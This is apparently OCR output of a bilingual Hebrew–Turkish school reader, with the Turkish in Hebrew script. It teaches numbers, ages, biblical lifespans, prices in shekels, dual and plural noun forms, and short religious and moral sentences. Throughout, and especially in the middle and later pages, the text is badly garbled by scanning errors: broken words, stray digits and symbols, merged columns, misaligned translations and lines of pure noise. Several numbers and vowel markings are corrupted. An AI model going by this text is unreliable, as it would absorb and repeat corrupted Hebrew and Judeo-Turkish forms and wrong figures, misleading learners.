תלמידלר דיר וא אנלר און דורט יאשינדא דיר. כּנים קרט בּבאם
דוקסן | אוץ יאשינדא דיר . משה ניג גונלרי יוז ייגירמי סנה אירי .
בני ישראל קירק ייל יבאנדא גזדילר . בכאמיג און ביג סכיז יו אלטמיש
סביז מיסקאל נומוטי ואר. סניג אנאג אלטמיש אכי יאשינדא דיר . ביר
סנה און אבי עאיי דיר, ביר עאיידורט הפטא דיר , כיר הפטא יידיגון דיר.
ביר סנה אוץ יוז אלטמיש כּש גון דיר. קרט בבּאמיג עומרוניג גונלרי יוז אללי
סביז סנה אידי . בו אודא דא און דוקוז אלגלאן וא און אוץ קיו ואר .
אברהם מת בן מאת שנה ושבעים שנה וחמש שנים . שני חיי
טָמַאל היו מאת שנה ושלשים שנה ושבע שנים . ימי יצחק היו מאת
| ושמנים שנה. בן ארבעים ואחת שנה רְחַבְעֶם בּמָלכו ושבע עשרה
= = . - טי . 1
שו נה ה מלן בירושלם , מש קל נזמי הוהב האלה הו | ? לשר ים ושנים שק
לרגל חילדום 141
בת עשרים וּחְמָש שָנָה הָיוּ המְלָכת | או מליכהלר > שהרלרינרא פארשאה
בּמְלְכָן בְּעְרִיהָן . אולרוקלרינדא ייגירמי בש יאשינדא
- :
התכה הַגְדוּלָה אָשֶר קנה אָבִי שלש אמות אַרְכָּהּ, וְאַמָתַיִם רַחִבָּה
וא מה קוְמַתָהּ . פַּעַמִם בְּיום מַתפָלְל אָבִי בְּבִית הָאלְהִים . שבוּעים ישבְתִי
בִּירוּשָלם גּשַנְתַיָם בְּחָכְרון . לשור שת קרנים וְאַרְבּע רגלים . כו וְחַיים
יד הַלְשון. ישלח יְהָה אֶת בַרְכְתוּ בּכָל מַעַשֶה יָרִיה אס תשר את
מצותָיו. מי עִשָה אֶת צְמִיָדִי הוּהָב אשֶר על ידי ַחותך הַגְדוָה בת
אה ְמִידִי ַָהָב אַשֶר היו על דיה אָ - , לשף' שתי . ָּנַפִי
7 . אניָם ל ולא ה תַץ מע 7 נים ₪ = ג ל 2
לו 9 ה פַּעלְתָּ בִיהָם. עין \ - עיז וש לחה שי ד תחת יד
רְגָל תָּחַת רְגָל. נפָש בְנָפָש עין בּעין שן בּשָן יָד בְּיּר רל בל . כַּחמִץ
לשָגים ובש לעינים כּן הַעַצֶל לח ְּכָל מַקום. ענ יָהוָה . ענ
האֶדֶם - תּשְבְּענָה . עיני תָּמִיר אֶל יְהוָה . :
הגבור הזה שם נפשו בַּכְפו . נפשנו בְּכְפְנוּ תמיד . האיש הזה
טהור לב ונקי בַפָּיִם. שַבָּר יְהוָה, שֶנִירְשָע. אמי יה היום על בְּרְבֶּיה
ותתפלל לפני יהוה.. ראיתי את הנשיא אשר בא אתמל, הוא וא לבוש מעיל
צמר וְאָזור משי על מַתְנִיו . לחי החמור הכה שמשון אלף איש . האיש
הזה הכה את עברו על הלחי . אחותי: למה זה ראיתי דַמַעה על לחי .
כרעתי היום על ברכי וְאֶפֶּרש כפי אל יהוה ואתפלל , אחותי נפרה -
אַפִיהָותתפלל. כפינו פרושות ודמעותינו על לְחָיִינוּ . אפתח שֶפָתִי וְאִסָפַר
באזניכם את כל אשר עשה יחוה 3 עמו . כל ימי אדם אשר חי
היו תשע מאות שנה ושלשים שנה. כל ימי לָמך היו שבע ושבעים שנה
ושבע מאות שנה . ונח בן שש מאות שנה והמבול היה מים על הארץ .
שלש מאות אמה היה ארךף התבה אשר עשה נח חמשים אמה רחבה
שלשיםאמה קומתה.לאבי היו אלפים סוסים וחמש מאות צט 0 קרושמנה
אלפים חמורים . אתמל קנה אבי עשרים אתונות באלפים שקלים כסף .
לאיוב היה שבעה בנים ושבע בנות. ביום המלחמה הכברה ההיא נהרגו
אלפים שלש מאות שלשים וששה איש .
110
חָמָש וּשָלשים אַמֶּה הִיָה ארף הבית
אֶשָר בָּנָה שלמה. ו ָחָמָש עשרה
אַמָה רְחְבּו וְאָמות עָשָרִים וחמש
קוּמָתו . | ,
חיי שָרֶה הָיוּ מַאֶה שָנֶה ועשרִים שָנְֶה
וְשָבַע שָנִים .
עמודי בִּית המלף גרולִים וּגְבוּהִים מָאר
עָבְיִם שש אמות וּשָמִּים עָשָרֶה
006
הָ תַמְכָּרִי לי את בו בְּאַלְפִים שקלים
כּסַף ?
את בּיתי אֶמְכּר כְּחְמָשַת אָלְפִים שֶקְלִים
ְֶת גי בשָלשֶת אֶלָפִם.
ימי עקב שני חייו היו שבע
וְאַרְבָּעִים וּמאַת שֶנה .
במ הור מִספַּר כָּל בַּנִי יִשְראֶל הָיָה
אלף אֶלְפִים 2 טלש מאות. איש
שלף חֶרָב
שנִים
- םמ לִים. וְאֶלֶף צֶמָד בַּקֶר
ב :/ - היו כ בנו ְאֶחִי בְכָתְכֶם את
5ב רִיחהָ זם .
לאיוב היה אַרְבְּעָה עשר אָלָף צאןוששת
בְּנוּת עָשָר שָנִים הָיוּ בַּפִּי וְאֶחוְתִי בְּהַשָרף
עִירנוּ .
ו יָשָבָה בָּבִית דור שָבוּע .
בח עָשָרִים שָנָה ילָדָה אַשְתִי את בנ
הגדול.
לרגל הילרים
שלמה ואפריני אַביג אוזונליני אוטוז בש
ארשין , כָּנליגי און בש ארשין ,
אוכּספליגי ייגירמי בש ארשיןאירי.
רה ניג עומרו יוו יינרמי יירי סנה אירי.
פאדשאהיג. אַביניג דירכלרי פכ בו וא
אוכסכ ריר אנלריג קאלינליגי אלטי
ארשין , אוכּסכליכלרי און אבי
ארשין דיר .
בּנא אביני אכי ביג מיסקאל גוּמושא סאטר
מו סין ָ?
אָבִימי בש ביג מיסקאלא (שקל נא) בחצא
מי אוץ בינא (אוץ. בי מיסקאלא)
סאטר אים .
יעקב ניג גונלרי אניג | עומרוניג סנחלרי
יוו קירק יורי סנה אירי .
רוד ניג גונלרינרא ג'ומלא בּני ישראל ניג
סאייסי בינ כררת ביג (בּיר מיל-
לייון) אוץ* יוו קיליג' סובורוג'י
ישי אורי .
אוב ניג און רורט בינ קיו , אלטי ביג
רוואסי ביג ג'יפט סינירי וא ביג
רישי אֶשני ואר אירי .
אוגלום וא קררשים כּתאבלריני יאזריק
לרונרא ייגירמי יאשינרא אידילר-
קיוים וא קיזקררשים . שהרימיז יאנדיקרא,
און יאשינרא אודילר .
קיוומיז אקאסיניג אבינדא אכי הפשא
אוטורדו ,
קרים ביכ אונלומי וונּירמי יאשינדא
דוגוררו .
אָבִי מֶת אֶתָמל , הוא חָלֶה יוּמִים .
ִּין ְנְם .
אַמּי יָשָבָה בְּחָכְרון שלשֶח. חֶרָשִים
וּשְבועים .
הקול קול עקב וְהִיריָם יָרִי עשו .
אֶצְבְּעוּת הִרְגְלִים קצָרוּת מַאצְבְּעוּת הַיָדִים .
הָאֶלהִים חן לף שָתִּי אְניִם ופה
אֶחָד על כּן שמע הִרְכָה וְְבַר
מְעַט .
קטֶנִּי עַכָה מִמֶתְנִי אָבי .
הַנָשָר הַזֶה גול כָּנְפִים מאר .
יִָף לא אַסוּרות הָוּ .
ארְבָּעִים שָנָה מֶלך דור ; בְּחְבְרון מִלֶף
שְבע | שָנִים ושָשָה חרָשִים
וּבִירו ושלם מל שלשִים וְשָלש
שה .
בּן עְשָרִים וְחְמָש שָנֶה הָיָה חְִקְיָה
בְּמָלכו וְעִשָרִים (תשע שָנָה מֶלףְ
בִּירוּשָלֶם ,
עָרִים גרה השקל .
בת שלשים שָנָה ילְרָה אַחזתִי אֶת בּנה
:ד
קט
כן שַע עשרה שָנֶה הִיָה יוסף כּאָשָר
מכָרוּהוּ אֶחָיו .
כָּל ימי מְתוּשָלח הָיוּ מָשַע וְשֶשִים שָנֶה
וּתְשע מָאות שָנָה .
אהרן הכּקן מֶת בַּן שלש וְעשָרים ומאת
אה .
ם 19
בּבּאם דון אולרי . או אבי נון ּפסיו אירי.
א אכי יאשינדא דיר .
אנאם חברון רא אוץ עאיי וא אכּי הפטא
אוטוררי .
סס עקב ניג ססי . אללר עשו ניג אללרי
הין":.
אואקלריג פרמאקלרי אללריג פרמאק-
לרינרן קיסא דור .
אללה סנא אכי קולאק ביר אגיו ווררי.
אניג איצון צוק דיגלא וא או סולָא.
,
צילאצא פרמאנים בּבּאמיג בלינדן קאלין
ריר .
בו קראגוש 39 בּיוכ קנארלי דיר .
אללריג בּאגלי דגיל אודי .
דוד קירק סנה פארשאהליק איטרי ;
הברון דא יידי סנה וא 2 עאוו
פארשאהליק איטדי וא ירושלם דא
אוטוז אוץ סנה פארשאהליק איטרי.
חזקיה פארשאה אולרונונדא יינירמי בש
יאשינדא אידי , וא ייגירמי דוקוז
סנה ירושלם דא פארשאחליק
איטרי .
ביר שקל (מיסקאלייגירמי גרה (צכּירדפ)
ה
אוטוז יאשינרא קיזקררשים כיציכּ אונלוני
רוגורדי
יוסף און יידי יאשינרא אירי נאסליכי (נא
וקת כּי) קררשלרי אני סאטרילר .
מחושלח ניג ג'ומלא מנלרי חוקוז יוו
אלטמיש רוקוו סנה אורי
אהרן הכהן יוו יעורמי אוץ שנב
אולדי ,
1%
בּת תִשְעִים שח יְָחָה שָרָה אֶת יָצְחֶק ,
= לרגל הילדים
שרה יצחק ני
דוקסן
יאשינדא (איבן) דוגוררי .
בת חֶמָש שָנִים לָמָרֶה אַחוּתִי קיוקרדשים בש יאשינדא אוקומאיא
ז :3 ד
לקרא ולכחב ,
וא יאזמאיא אונרנדי .
בְּהַמַשֶה שֶקָלִים כַּסַףמָ מכר דודי אקאם ם יוזונינ ו בש ש מיסקאל נומושא
= ש!ו
את טַבְעַו ,
ם שקל קה דורי אֶת השור חוָה ,
בששים 2
2 ₪
ְּתְשָעִים וט
-ן!
ְִּכִּי, ברב וכו)
נ', טיז, דיז ,
קרן, (ווצ א', קְרנים ,
יו \
קרני : קרניו | וכו",
בעזי רב'. קְרנות ,
סי קרנות)ני . בוייניז
7 אבו בויינ 6%
שפה (יהי. צצ א' , רבים
לחִי, לח זי,ויהי + ף, רב?
חי ,
לְחָיי, לח לחי
ְחַיף וכו) ינָאק .
אף, (ש א' ר' אִפִם,
אפיך ,)אף, בורון,
קו הר, אפים 0 .
תוורז
= ג'. ַּרָרַת
(צ+ ג ,) 052
פָּעמִים , כררתלר,
פָעמים, אכי פררת,
עוף , 1 רבי עופות ו עצ) 1
כוש .
אמים שֶקל
(בש שקל גא) סאטרי ,
אקאם בו אוגוזי אלטמיש
שקל גא סאטון אלדי .
מכרתי אֶת בִּיתִי
:3%
גא
יוה (₪צ רב' יּנִים ן)ג',
גוגורצין .
מִסְנִיִם ִמִתְנִי, מִתִנִיף וכוז
1 ף , בל :
אתון (צג 7' אַתונות זנצ)
ני , רישי אַשָב .
מל (ץ אי יחיר + פנויילי
בולונמייר. בּלכי
ְמָלִי ּמַנֶךְּ אולמלי
גָּמָלִים , [) דווא,
פע (מְצְבְּעִי, אֶצְבָּת ,
0 אֶצְבְעות .
רמא
נד, צילאצא
קמְנִיט ,
בהן : נ', (רבי בְּהונוּת) ,
באש פרמאק .
קטן , פרמאק
צָמָר , (]צ ב') ג'יפט .
נֶשָר, (חצ ב)ל , קראנוש.
ארך . (שץ א') ד אוזונליק.
רחב, (עצ ב) , גליב,
אָָ.
קומָה , (צ) גי אובסכליב,
בויי.
, אי יוז דוקסאן שקל
אבימי סאטדים .
ויר - /
עכשי, עְבִי (עצ ה)
קאלינליק
גרה , נ' . צַכִּיררֶבּ (כיציב
צביניג אדי), נָרָה
מִסְפֶר , (₪) ז'. קָאיִי,
הסאב .
שבוע , (ס' שבוע , רבי
שבוּעִים או שבועות ,
ס' שָבועות . -
שָבועוּתִיכֶם), הפטא .
אזור , ז'. קושאק . בָּל
באגי.
פשָמִים , (ס' פָּשָתּי)
| אוסבוּלוּ. = -
דעה (צנ ב') נ*, גוז
יאש
עב , עַבָה , קאלין , קאבּא.
מְעַט , א > - מעט מים,
ו ביר אז סויי .
הַרְבָּה, צוק.
ְלַר \ דוגורדו .
פָּרש ,
כּרע , (יכרע) צוכרי |
יָאיידי ,
לרגל הילדים 17
אֶלָם , כל אַלְפיִם , אגי בּיג, שלשת אֶַלְפִים חק ביג , אַרְבַּעָת אֶרְפִים ,
הלט ביל , חמשת אלָפִים . בש ביג , שָשָת אַלְפים, אלטי ביג ,
שבעת אַלפִים, יידי ביג טָשָרָת ַלפִים" , און 29 אחר עשר
אָלַף | און ביר בּיג, שנִים עשר 20 און אכי ביג נְעְשָרִים
אלף, יזירמי בי3, מאה אֶקֶם, מ ת אֶלֶ, יז ביג , מָאתִים
אַלָף, אכי יז בינ , אֶלְת אלל יס , ביג כָּרָרֶת ביג , מיללייון .
שָלשַה בָּנִים. אַרְבְּע בָּנות . חִמְשָה יָמִים . שש שנים. שבְעָה חרשים .
עה ַלְבִים .. השע מלכות. עשָה גְשִיִים . עָשָר אמות .
חח מִשָר יום.א שָנִים עָשָר חש. שלש עשרה שָנָה. עשָרִים יום .
עָשְרִים וּשקיָם אַמָה. שָלשִים יום . 'מַאֶה שָנָה. מָאסיִם שָנָה .
. .
בו בֶן שָנָה ,
אֶחִי בָּן עְשָר שָנִים, | קרדשים און יאשינדא ריר .
אוגלום בּיר יאשינדא דיר .
דורי בֶּן חִמְשִים שַנָה , אקאם אללי יאשינדא דיר.
בִּפִּי בת שָבַע שָנִים , קיזים יידי יאשינדי דיר .
אָמִי בת אַרְבְּעִים שָנָה . אנאם קירק יאשינרא ריר ,
צָחֶק ושְמואל בְּנִי עשָרִים שנה , יצחק ושמואל ייגירמי יאשינרא
0% -
דור ושלמה בָּנִי שלשִים וְאַרְמָּע שָנָה , דוד ושלמה אוטוז. וורט
יאשינדא דיר ,
רִבְקֶה וְשָרֶה בּנות שש עַשָרָה שָנָה , רבקה ושרה און | אלטי
יאשינדא דיר .
אי וְאֶשֶתְּף בנות חָמְשים שנה , אנאם וא כניג קריג אללי יאשינדא
4
ְּן עשרים שנה מִלך מִלְכָּנוּ פארשאהימיז באס יגיירינא ייגירמי
חחת אָבִיו , יאשינרא פאדשאה אולרו .
ְּן ִרְבָּעִים שָנה כָּחַב אבי אֶת סְפרו , בּבאם קירק יאשינדא
כתאבּיני יאזרי. ,
וחלק. ראשון) | 5
116
ארבעים,
שמנים ;
מַאֶה,
יז כם' מָאֶת)
נוּכֶר) אַחר עַשָר או
לשתישר 1
שֶנִים עשָר
שנִי עְשָר |
שלשָה עשר
אַרְבּ; עה עַשֶר
חמשָה עָשָר
ששה עשר
שבְעה עשָר
שמִנָה טְשָר
תִּשָעָה עָשָר
עְשרִים
עָשָרִים וְאֶחָד
אֶחָד וְעשָרִים
עְשָרִים ושנים
שנס עמ
שְשָרִים ללה
שלשה וְעָשָרִים
שלשים
שלשים ְאַרְבְעה
אַרְבעָה ושלשים
שלשִים ְשָבְעָה
שְבְעה ושלשים
קיק',
סנסן > תשָעִים ,
|
חָמָשים," אללי,
דוקסאן ,
מאתים אפי יו
הרי חוררות
,ו א, וור/ו3-
'נקבה אַחת. עשרה או
'ְ . - בּיר,
עִשְתִי עשרה
שתִיס - 26
שתי = עשרה\ *!
שלש עשרה און אוץ .
אַרְבּע ה עְשָרָה. און דור
חמש עְשַרָה, און בָּש.
שש עְשְרָה און אלטי
=
שב עָשָרָה און = יירי
שמ עשר ה און סניז,
תְשַע עשו רת,
עְשָרִים ,
און דוקוז.
יינירמי
עשָרִים . ואָחת ]ייגירמו ביר
אַהַת ְעָשָרִים1 ' 7-
(ש ירמי אכי
טְשָרִים וּשְתִיס
שתים עשרים|
עְשרִים ושלש
שלש ושרים
שלשים
שלשים וְאַרְבָּע
אַרְבַע ושלשים
שלשים ושָבַע
שב ושלשים
/ יינירטי אוץ
אוטוז ,
ן אוטוז דורט
ן אוטוז יירי
אלטמיש
שָשים, : שָבְעִים ,
מָאָה, "", אָלָם 23 ,
. שלש מאות , אוץ יוז,
ייומזמיש
ארבע
מָאות , דורט יז ל מאות. בש ייז, שש מָאות 0% יוו
שבע מאות ; יירו
דוכוז יוז
ו, שַמנָה מָאות
סביו יוז, תשע ל מאות,
קרגל הילדים 15
6 34
וום 3 : יומים , אבי גון .
שבוע , ג(*1) ". הפָטָא שבועים , אכי הפט א
נָהֶר , אוזן . נהרים | אכּי אוזן .
דרי "יול . ְרְכַים , אכי יל.
אמָה , (11א2) נ', ארשין , אמתים | אכּי ארשין .
חומה ,| קַלְעָהּ, חיסאר , חומותים | אבי חיסאר .
שה , סה; ייל, שנתים , אני פה,
(ם1) ה ו אל יש משה , משה ניג ג אלי, (ידכֶם , הכ , וע, אכי אֶל ,
אללֶר + שַתִי יָדָיִם , אכיאל. יִדִי משה , משה ניג 2 אללרי יָדי ; יָדִיך ,
% > דיו , יִדִיהָ ; ידינו ; ; יְדִיכֶם ידיכן > ידִיהֶם, ידיהן ₪
(ד) בָּנָף ,| נ'. קנאד , כַנָפַים אבי קנאד . קנאדלר; < כנפי ינָה , גונורצין קנאדלרי ,
כּנָפִי ; כָּנַפִיךָ ; כְּגפִיו; כְּפִיכֶם , וכ" (שש כְנִפַים אלטי קנאדלר)
פד ירך , :'/ בוט . יִרְבָים, אכי בוט, בוטלר, יִרְבִי ירכיך + דַכיך : ידביו
יְרכָיהָ, וכ". םש ירְך ְעָקֶב , יעקביג בוטי) .
(עץ) רְגָל, נ', איאק - רַגְלִיָם , אכּי איאק , איאקלר , . אַרְבָּע רגְליָם , דורט איאקלר ,
גל על , באב איאקלרי - לי ; רגליף , רגליך ; | רגליו . לי
רגלינו | רגליכם , רגְלִיכָן ; רגְלִיהֶם , רגְלִיהָן .
עד א') אזן, ג'יקולאק - אניס , אבי קולאק , קולאקלר , אַנְנִי יִצֶחֶק , אְֶני ; אי ,
אי : אי , איה ; אָנִינו: אָניכם, אְים.
(צז ב) עין, ג', גוז. עינים , אכיגוז, גוזלר. שָבְעָה עִינים , יידי גוז . עִנִי יה
קני : עיניך , עיניך : עיניו; עניכם וכו"
(ג4 א') בִּף, ג', אָבוּץ . כָּפַים , אכ אבוץ. אבוצלר: כפי המר : כּפי, כּפָיף ,
כּפִיך ; : כפי3 נוּ; כָּפּיו ; כּפיכם וכל .
29 ב) שן ,נ', ריש, שנִים , אי דיש., אכִּי סירא דיש, דישלר שָני רְשָעִים / :ו ;
שָנִיך. שניך ; שניווכ".
14 לרגל' הילרים
כי רבים הגנבים בעיר. עשרה ימים באוכלי שלהן העשיר הזה אנחנו
והוא מאכיל אותנו מאכלים טובים וערבים מאד . אמי האכילה אותי
היום דבש ורמונים. אוצרות יהוה מלאים כל מוב, והוא יַפַּתָּחֶם לכם
אם תִּעבְדוּהוּ באמת ותשמרו מצותיו ותורותיו . בני קח את השופרות
האלה. | ותקע בהם נּתְקְעַם). הגבור לקח את השופר וִתְקְעָה. תִקְעו
ברש שופר . הנה גחלת יהוה בָּנִים שכר פרי הבטן .
אגר אללהי3 יוללריני סאקלאר איסאניז אלה סיוא ברכת חזנאלריני
אצאר וא סיוג ג'אנפיו נעימת אילן. (סמיזליכ אילן; דָשָן) ספאלאניר.
כּבּאם וא אנאם בחצאדא גזינמייא ציקדילר . סיזיג בחצאניו פב איי וא
כניש דיר וא נא איצין סיז אנדא. גזינמז סיניו + אתנלום בוגון אורמאנדן
צוק אודונלר גטירדי וא אנלריג ג'ומלאסיני יארדי גוא יאררי אנלרי
ג/ מלאלריני) . סניג א אדיג נאסלי איסא בנים אדים דא אוולא דיר וא בּן
דא סניג גיבי קיליג' סובוראנלריג וא ג'בבארלריג חסאבינדא אים .
קיזקררשים ! ואלה זא הר גון טוגל קלב אילן תפלה איד וא או אשיטיר סני וא
אונוטמאז סני.אוגלום!בוחכם ניג ייגי מורכולרינייאז וא אנלריקיזקררשלרינא
יוללא . שלמה קיליג'יני סובורדי. וא אני צולרא יאטן" דושמאגיניג
קורסאגינא קאדארי . סובור קיליגייגי וא אני בנים קורסא;ימא קאדא .
אושטא בן קיליגיימי סיבוררים וא אני. סניג יוּרַאנינא קאדאר אים .
בבאגי וא אנאגי סָיִילָא יא סין (רגבת איילא) וא גונלריג אוזאק אולורלר .
בּבּאם בוגון בּיר. בּוזאב וא ביר אוגוז סאטון אלרי.. בּו חלאייק
קיזימא ביר סיגיר סאטדי. בּו 0 בגא דון אכי בוזאב וא אכי סיניר
סאטדי. בן ירושלם דא ה וא דורט עאיי אוטורדים. בו אָבדא
בש ארככ וא אלטי קיסאיאכ קלי ו ואר . מראפיזא אוזרינדא אוץ נאר וא
אלטי אלמא ואר . בּנים אקאמיג בש קיזי וא אלטי אוגלו ואר . בו אוסטא
בגא ביר אלמין קאדח יאפרי וא אניג צכיסי און מיסקאל דיר.בן דון יידי
אָם וא און אצי סאטדים. בּיזים אגאמיזיג קריסי בוגון יידי סיגיר קרבן
איטדי . בו אגאייג סכיז קוּלוּ וא סכיז חלאייגי ואר . בו אחתייאריג דורט
דילבר אוגלו ואר וא או אנלרא הורט דילבּר גלין אלרי. סניג קיוקררשלריגיג
כוינדא בן דוקוז. גון אוטורדים .. סיזיג קיזקרדשלריגיז מסרדא און סנה
דוקוז עאיי וא אלמי טי גון אוטורדילר, אנאם בגא אכּי אלטין כּוּפָא וירדי
וא אנלריג. צכיסי סכיז מיסקאל אידי. אנאם בו קרי גא דוקוו ּתאפ
סאטדי . בּנים קרים קיזקרדשינא ביר אלטין יוזוכ וירדי וא אניג. צכּיסי
דוקו מיסקאל אירי .
,
לרגל. הילדים 3
אוסג) . בָּו שופרלרי אל וא אנלרי. צאל . | בּן אימאמלריג' וא טומסי
מומֶג ילרי: חסאבינדא דגול אים.. כו יראמז כימסאלר אללה אוזרינא אגיז
ְנְרְמְדִילר וא דיל אוזאטדילר זירא אנלר אללהא אסי אוללאנלריג
סאייסינדא אידילר .. בו ייריג באזירגאנלריניג' א זנגיני בנים אקאם דיר .
אוגלום ! בו אקאמיג אולאן איי וא סאגלאם אצכילרי אל וא אנלרי
בוגאזלא. סן יכר) בוגון. ייגי רובאלריגי. גיידי, סאקט אול, אנלרי
יירממא . אגר בּני ישראק ביר דחי קרח גיבי וא אניג ג'מעתי גּיבּי אללהא
אסי אולור איסָאלר ייר ביר דחי א:זיני אצאר וא אנקרי יוטאר. -- אנלרי
וא אָבְּלרִיני . קיוקררשים ! אגר אללהא טוגל קלב אילן תפלה אידר איס?
או סני אשיטיר. קיוקרדשלרים ! אגר אללהא טוגל קלב אילן תפלה
= אידר איכגיז או סיזוּי אשיטיר .
אשתי! אל נתאבל על בננו אשר נהרג | במלחמה כי מות גבורים
מת . יוסף התנכר לאחיו במצרים והם חשבוהו למצריי. אני התנכרתי
ליושבי העיר חואת והם חשבוני לאיש ירושלם. קמה זה את מִתנְבָרָה +
הפוחר חזה טכר לי נזם זהב יקר מאד וּמְשָקלו עָשָרֶה שק ים. הסוחרים
אשר בירושלם מכרו לי רבידי זהכ טובים ויקרים מאד ומשקל אחר מהם
שמַנָה שקלים. סוחר אחרד אשר לא ירעתי שמו מכר לאבי טבעת זהב
יקרה ּמִשְְרָהּ תְּשָעה שקלים . אמי ישבה בירושלם שְתִּי שנים וּשְלשָה
חרשים . בני ישראל: אל תִתְעְרְבוּ בגויים ואל תלמדו מעשיחם .. עה
מקְנף מכר לי חמש פרות שמנות ובריאות מאד . בבני ישראל הַתִבָרְכוּ
כל משפחות האדמה . אל תבטחו בעשרכם ואל תתברכובלבכם .
אלהים! משפטיף למלןי תן וצדקתך לבן מלך ; ַיִתִבָּרְכוּ בו כל גוים .
אוהַבִי יהוח ושומרי מצוותיו יתענגו על רב שלום . שמעוּ אל יהוה וְאָכְלו
טוב וְתַתִענג בש נפשכס. אחי ! הגם אתה בסוחרים + דודי הוא העשיר
בסוחחי עיהנו .
בלב תמים התפללתי היום לפני יהוח ותוא יְשַמְעָנִי.. אס תתפללו
אל יהוה אלחיכם בלב תמים גם הוא יְשמְעְכם. קח את וָתדות האהל
וּתְקְעָן פה. קח את הבגר ולְרְעְנו לְשָנִי ,.5* מגריוהוחד יקר מאד ולא
אֶקְרְעג ו. דוד רעה בטרעה הטוב הזה עדרי בקר ועדרי צאן וִנְתָנֶם אתמל
אחר המדבר . בני קח את העצים. האלה ותן לעבריף והם בְקָעוּם , תן
את העצים לשפחותי והן תִבְסְעוּם . אם תמררו ביהוה תפהח הארץ את
פיה (תממטים כקרח וכעלתו, אחיותי ! סנרנה את הפהתים זאל | תחת פַתחְום
ישן ו 1.
/ קהן
בּנִי! קת אֶת יתד הַאהל ותקעוה בּארץ .
אוב ד 3 4 ב : חן ש] 0
קח אֶת השור
נוּשֶחְטַה .
אֶלהַי : לְמָה הְשָבְחָנִי
1- - .
אשר לרודי ושחטני
:4 +* : . הזד
ולא הוְכרִָי ?
קרח עעָדָתו הָיוּ רשעים וַיָמררוּ בּיהוה
. - קה -
(ללכּן פַתַחָה וו א רץ את פיה בלְעם
<> כן ל"ז
וְאֶת בתיהם .
- ו חוות אה הוחוהר וק "זור
=ו 2/7 שי!|| = אה שט ו ב --
-זן + ש א ריו ות
ורר ר'ורז
-.
2
-'-
הילו ים
אוגלום ! צאדורי: : קאזוניני אל וא אני ירא
קארא .
אקאמיג אוניזיני אל וא אני מונאזלא .
אללהים ! נא איצון בנ אונוטור סין וא
בני סאגינמאז סין ?
קרח וא אניג ג'מעתי יראמולר אירי , וא
רבא אסי אולרולר ,
אגזיני אצדי וא אנלרי
6 בהרוי
אנ? הו ג א בלרוני
אניג איצון ויר
יוטדי וא
רבקה בונון ווני רובאלרינו נוורי וא א גנלרי
וורטדי .
י ₪ 4
אשת דורי וּבְּגיְהָיה הִתְהַלְכוּ הַיזם בְגְנָוּ. א בת מְההַלְכות
| ₪1
בּשָרָה. לי אַרְבַּע א ְחיות וְחָמָש בָּנות. בְגִי אַל תִּתְהְדָּמוּ וְאָל תַתעשרו
כִּי אֶת 2 תַמַתעשָרים וְאֶת הַמַּתְחַכְּמִים מְאֶסָה נַפָשִי. על מִי תתענגו ְָ
על מי תריבו פָּה תא ריבו לָשון
כמלחיה רו
שולם יה== הרי 0
<> וו-=!!- 7 ר-\ שמם . <<
פד ומ . ב ור
.ו "55% ב
2 שר נְהַרג = 1 ו כ מה / -:
*= 5חף ל .יי
הגע ר ה ַ היה = תוק קי ש שופר . אה
ייך- +
2 5 / ו .
הְַּבָרֶת אֶשָר
בנשי עירג
הפרות אשד הו
-- יי
| =
ריו סוי ררשי
ו . 1 --. ₪
גוּ. הָאִיש אָשָר מַת שלשם יבר אֶתְמל הָיָה
תנגהו היום
אל תִתְאַבְלוּ על הגְכורִים אֶשר גהרגו
כּים הַתְאַבָּל מַלְפָו על לבנ הַ בור
בְמְִמִירי קטרָת 2
, יְהוָה
וי הָיָה בְּמַאָרִיבִי לשון רהב פה
ו | היום בּבִית האלהים היא הַיְדִיבָה
2 .
ו החרם 2 -.
וו %- == כ
הַבְּרִיאו
-
בּשָרָה הָן השמנות
בפו ת א מ בכָ'קנ . השיא , כְּאֶשְתִּי בְּאָש זה : הַתְהַלְכוּ היו ב תחת
צָל הַעַצִים הגבוהים.. מִי הָאִיש הוה מה"שמז ומה"שֶםדאשתו . וְאֶלָה
.. + -: . . .
שמות אגשי ענו אֶשָר הָיוּ בוני השיא + שמואל. יחק טלמה :
אחיותי; אל ַתְאַבַּלנָה - בניכן אָשָר נַהַרגו במלְחָמָה + 0
.
2
- ו כריגי
ה -=י'\\רייפו\ רזי ?
רא תאנימלו ו !/0₪- 4! 0 = +
= - שה .
סניג אוגלוג דא כו שהר
> 2 >
זאכט אירן ג'בבארלריג תסאבינדא מי+ סיז דא קיליג' סובוראנלריג
הסאבינרא מי סיגיז ? בנים קיזקררשלרים. בו שהריג האנימלריניג
0 זנגיני. דיר.. סניג קיוקרדשלריג ורושלם קרילריניג א עקללילרי
וא אב עאדול. לרי גנהיב),.ביר : | אגר אלינדן. גלירסא. (קאדיר : אולור
די
לרגל הילדים
הַנָּשִיא הַוֶה הוא הגור בַּשלְפִי חֶרֶב .
בְּנִי יָצָא בּחְגוּרִי חרב .
הַרְבְקח הַיִפָה בְּאַתותִף ?
שרה היא הַגְדוּלֶה בַּכְנותִיף .
איש אֶחָד הְהַלֶף היום בְּנן אְבִי .
שֶפְּחָה אמ הַתְפַּלְלָה הלילה בְּבִית יהוה.
שנים נְשִיִים מַרְדו בּסֶלֶך .
שנִי בָנִים הָיוּ לבת חודִי .
שפִים פָּרוּת שמָנות נְשִמְטו לְמִאִכָל לָנו
בי שְמְחַת מַלְכּנוּ .
שמִי נָשִים רָיו לשא הוָה שר הִיָה
הרול בְְּּרִי מֶלֶךְ .
שבְעָה מִלְמִירִים ישבים לְפָּנִי הֶחַכֶם
וְלמרִים מָפּיו דּבָרִי חְבָמָה.
שש יָמִים עשה יהוה אֶת השמים וְאֶת
הָאָרֶץ .
שלש תָּרוּת הַתְנְגַחוּ תמל בְּשָרָה .
אל תִּחְעַשָרוּ בָּנִי אֶם עְניים אַתָּם .
יש מַתְעַשָר וְאִין כּל..
הַנְשִים הָאָיָה אַתיוִּי הן , וְהַן מִסְאָבְּלות
על בְּניֶן אָשָר נְהַרְגו ַּמּלְחְמָה .
11
בו אגא קיליג' סובוראנלריג (קיליג' צכיג'י-
לריג) אראסינדא א3 ויורא ג'בּבאר
דוה .
קיליג' קושאנאנלריג אראסינדא אונלום
דא ציקרי .
קיוקררשלריני אראסונרא. אָנ רילבר
רבקה מי דיר ?
קיזלריניג אראסינדא אָג דילבר שרה ריר.
בוגון בּבאמיג בחצאסינרא ביר כישי
זינייר אודי .
ביר חלאייק בונג'א אללהיג אָבינרא תמפלה
אידייר אורי .
אכי אנא פארשאהא אסי אולרולר .
אקאמינ קיזיניג אכי אוגלו ואר אירי .
פארשאהימיזיג סבינץ גוני | ביזא יימכ
